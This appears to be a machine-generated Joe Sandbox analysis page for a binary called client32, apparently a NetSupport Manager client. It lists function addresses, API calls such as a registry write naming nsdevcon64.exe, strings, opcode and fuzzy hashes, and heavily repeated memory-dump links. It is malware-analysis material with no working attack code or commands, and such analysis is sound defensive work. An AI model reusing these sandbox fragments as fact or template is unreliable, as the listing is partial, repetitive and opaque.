Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateEvent$CriticalInitializeObjectSectionSingleWait_malloc_memsetwsprintf
String ID: .#v
API String ID: 2693919134-507759092
Opcode ID: d74aff748b0626840dc5d4ab59ee164a030326ff4ef76e04df4478053295087a
Instruction ID: b933c8182b4421a687ced1bde098ace250f045b7ce2f9a046aa6e0e1e4914eda
Opcode Fuzzy Hash: d74aff748b0626840dc5d4ab59ee164a030326ff4ef76e04df4478053295087a
Instruction Fuzzy Hash: A521C070A44344AAEB20CFA5CD45B9BFBE4EB04B14F20456EF916EB2C0E6B5A5008B91

Function 110633C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11063400
_strtok.LIBCMT ref: 11063430
_strtok.LIBCMT ref: 11063448

Strings

,= , xrefs: 110633FA, 11063429, 11063441

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok
String ID: ,=
API String ID: 1675499619-2677018336
Opcode ID: 1b12eec7ab70592cd1bf4fe46c2ef7f85ce11387d77ab377107ff9bed4c203fe
Instruction ID: cb40fac0e7b83cb9375b3b08c6a6781fb662a6af548a4bc664be34caade0cf63
Opcode Fuzzy Hash: 1b12eec7ab70592cd1bf4fe46c2ef7f85ce11387d77ab377107ff9bed4c203fe
Instruction Fuzzy Hash: 3411252AE042562BEB02CA698C01BC7BBDC9F09215F808094FD5C9B341EA21F850C2E2

Function 110EB370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 110EB392

Part of subcall function 11160AE9: _xtoa@16.LIBCMT ref: 11160B09

RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,00000000,nsdevcon64.exe,11190240,?,?,?,?,?,?,110FCF4A), ref: 110EB3B7

Strings

nsdevcon64.exe, xrefs: 110EB384
Error %d setting %s to %s, xrefs: 110EB3C9

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Value__itow_xtoa@16
String ID: Error %d setting %s to %s$nsdevcon64.exe
API String ID: 293635345-4188669160
Opcode ID: 3c864664d07f85832d40fb38eb0c06809f33519111aef5495a04d2328cd39655
Instruction ID: 7e49bacf7cffd617bae11413a1c990bf3ed7db696da708c28156c5faf53d47b9
Opcode Fuzzy Hash: 3c864664d07f85832d40fb38eb0c06809f33519111aef5495a04d2328cd39655
Instruction Fuzzy Hash: 7C01AD75A01219AFD700CAA9DC85FEFB7EDDB49704F508159FD05E7240EA71AE04C7A0

Function 110B9110 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,0000002C,76937AA0), ref: 110B914F

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

,, xrefs: 110B9127
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B9135
m_hWnd, xrefs: 110B913A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessagePlacementProcessWindowwsprintf
String ID: ,$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1593395816-618755743
Opcode ID: 90b12467a28c6a0f8e6157611301d43bcb69129130bd089e2934aad76a47f1e8
Instruction ID: 735c0c7f0d4e9d25a16a65ccd8ec787d83e3c49daf021eb0f651fd87bbe56569
Opcode Fuzzy Hash: 90b12467a28c6a0f8e6157611301d43bcb69129130bd089e2934aad76a47f1e8
Instruction Fuzzy Hash: 2D01D678E0122DAFDB40DFB4D895FBDF3E8DF44308F0006AEEC0A5B280DA616A008785

Function 111531C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(00000000,00000000,00000000), ref: 11153213
UpdateWindow.USER32(?), ref: 1115323E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 111531F9, 11153228
m_hWnd, xrefs: 111531FE, 1115322D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InvalidateRectUpdateWindow
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1236202516-2830328467
Opcode ID: 1d399324394d5e8c736be0c8e6295a0d86fc20da2768921cc9385601c5d9ee7d
Instruction ID: 49d8f248b53f35e74fe20d6d36c1e9477068d226d45f4b4d571155992e9f3ce8
Opcode Fuzzy Hash: 1d399324394d5e8c736be0c8e6295a0d86fc20da2768921cc9385601c5d9ee7d
Instruction Fuzzy Hash: 6701D17AA14602ABD2A1D631DC85F8AF3B4BF4532CF144D28F1A727580E630B880C795

Function 11015050 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001009,00000000,00000000), ref: 110A9BFD

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\ctl32\listview.cpp, xrefs: 110A9BDE
m_hWnd, xrefs: 11015063, 110A9BE3
..\ctl32\liststat.cpp, xrefs: 1101505E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: ..\ctl32\liststat.cpp$..\ctl32\listview.cpp$m_hWnd
API String ID: 819365019-2727927828
Opcode ID: c436e947d2848deec0fb9928a336379f0adbf8865378183fedf00189e60001fd
Instruction ID: d81ebb055fda58700f75f79f26636c29c16c7b22a0f55796a7f026fcc49370bb
Opcode Fuzzy Hash: c436e947d2848deec0fb9928a336379f0adbf8865378183fedf00189e60001fd
Instruction Fuzzy Hash: E1F0B439F80325AFE321D691EC41FC5B2D49B05719F144459F2866B2D0E6E4F4C0C7D1

Function 1101D080 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D0AB
EnableWindow.USER32(00000000,?), ref: 1101D0B6

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D091
m_hWnd, xrefs: 1101D096

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableErrorExitItemLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1136984157-1986719024
Opcode ID: 778c2b94e077e4827911f5eee8574bf79009bbb7e048fc771d266692fa6a02c4
Instruction ID: 439a9ddf82530156371757c1ad27fa7d45e96fa67b4cc0a563f24a8ab3e01a3d
Opcode Fuzzy Hash: 778c2b94e077e4827911f5eee8574bf79009bbb7e048fc771d266692fa6a02c4
Instruction Fuzzy Hash: 80E08676A10329BFD310EAA1DC44F9BF7ACEB45365F00C529FA6587600D675E840C7A1

Function 1101D0D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D0FF
ShowWindow.USER32(00000000), ref: 1101D106

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D0E1
m_hWnd, xrefs: 1101D0E6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitItemLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1319256379-1986719024
Opcode ID: b5d2a128ff6837b44cdf2140aeb335d361716e7f34d9420fa282e33fb6e07c46
Instruction ID: a753bf33bc507b69dd8188ad1449bb8027ad46a5f8f6d6b92600deb56285dd08
Opcode Fuzzy Hash: b5d2a128ff6837b44cdf2140aeb335d361716e7f34d9420fa282e33fb6e07c46
Instruction Fuzzy Hash: FEE04F7991032AAFC311EA61DC89F9BB7ACEB45264F10852AFA2947200DA74E84087A1

Function 11067020 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 110670CA
LeaveCriticalSection.KERNEL32(?), ref: 11067190

Part of subcall function 1110C300: InterlockedDecrement.KERNEL32(?), ref: 1110C308

Strings

EnumConn error, idata=%x, xrefs: 11067206

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$DecrementEnterInterlockedLeave
String ID: EnumConn error, idata=%x
API String ID: 1807080765-705201588
Opcode ID: bc2e373e2124ef9bbaee3fd086104ac4477b3b68e1abedb8ecefb27c663a5ebc
Instruction ID: 5ab1c34b1a7a926f6d5ed1f611dbd10fe7b4918518b7024ffedcbdc9c0f83b5b
Opcode Fuzzy Hash: bc2e373e2124ef9bbaee3fd086104ac4477b3b68e1abedb8ecefb27c663a5ebc
Instruction Fuzzy Hash: 28517E75E00B46CBEB25CF59C480BAAB7F9FF44318F104AAED8568BB41E731A845CB51

Function 110350E0 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 110351B7
__CxxThrowException@8.LIBCMT ref: 110351CC
std::exception::exception.LIBCMT ref: 110351DB
__CxxThrowException@8.LIBCMT ref: 110351F0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc_memsetwsprintf
String ID:
API String ID: 1651403513-0
Opcode ID: f2c669945b25c03cb4df46370529d3cf9077e8115f1a98a341f6cd29b6f2167a
Instruction ID: 27551bf16af5aeccb10e7826950cd04597747518e1c60015d935e9be433b6743
Opcode Fuzzy Hash: f2c669945b25c03cb4df46370529d3cf9077e8115f1a98a341f6cd29b6f2167a
Instruction Fuzzy Hash: B7413BB6D00605AFCB10CF9AD880AAEFBF8FFA8604F10855FE555A7210E775A604CF91

Function 110A70C0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 110A70E9
CreateRectRgn.GDI32(?,110A81B7,?,?), ref: 110A714B
CombineRgn.GDI32(00000000,00000000,00000000,00000002), ref: 110A7158
DeleteObject.GDI32(00000000), ref: 110A715F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateRect$CombineDeleteObject
String ID:
API String ID: 1735589438-0
Opcode ID: 45fb47227f938c3ac32ba62ad7cea327fe5f4bc887be3da3503991b144b35159
Instruction ID: f65916cfaa93ffb0fd59208f96c5694728e7e0d2e2e3f92bab711c1a6bf64a6f
Opcode Fuzzy Hash: 45fb47227f938c3ac32ba62ad7cea327fe5f4bc887be3da3503991b144b35159
Instruction Fuzzy Hash: B5219535A00115ABCB04DBA9D884CBFB7BAFFC97107118159F946D3254E6309D82D7A0

Function 110CD100 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 110CC870: EnterCriticalSection.KERNEL32(00000000,00000000,8F98CBB2,00000000,00000000,1112A989,110CCAF0,?,00000001), ref: 110CC8AA
Part of subcall function 110CC870: LeaveCriticalSection.KERNEL32(00000000), ref: 110CC912

IsWindow.USER32(?), ref: 110CD15B

Part of subcall function 110CAE60: GetCurrentThreadId.KERNEL32 ref: 110CAE69

RemovePropA.USER32(?), ref: 110CD188
DeleteObject.GDI32(?), ref: 110CD19C
DeleteObject.GDI32(?), ref: 110CD1A6

Memory Dump Source

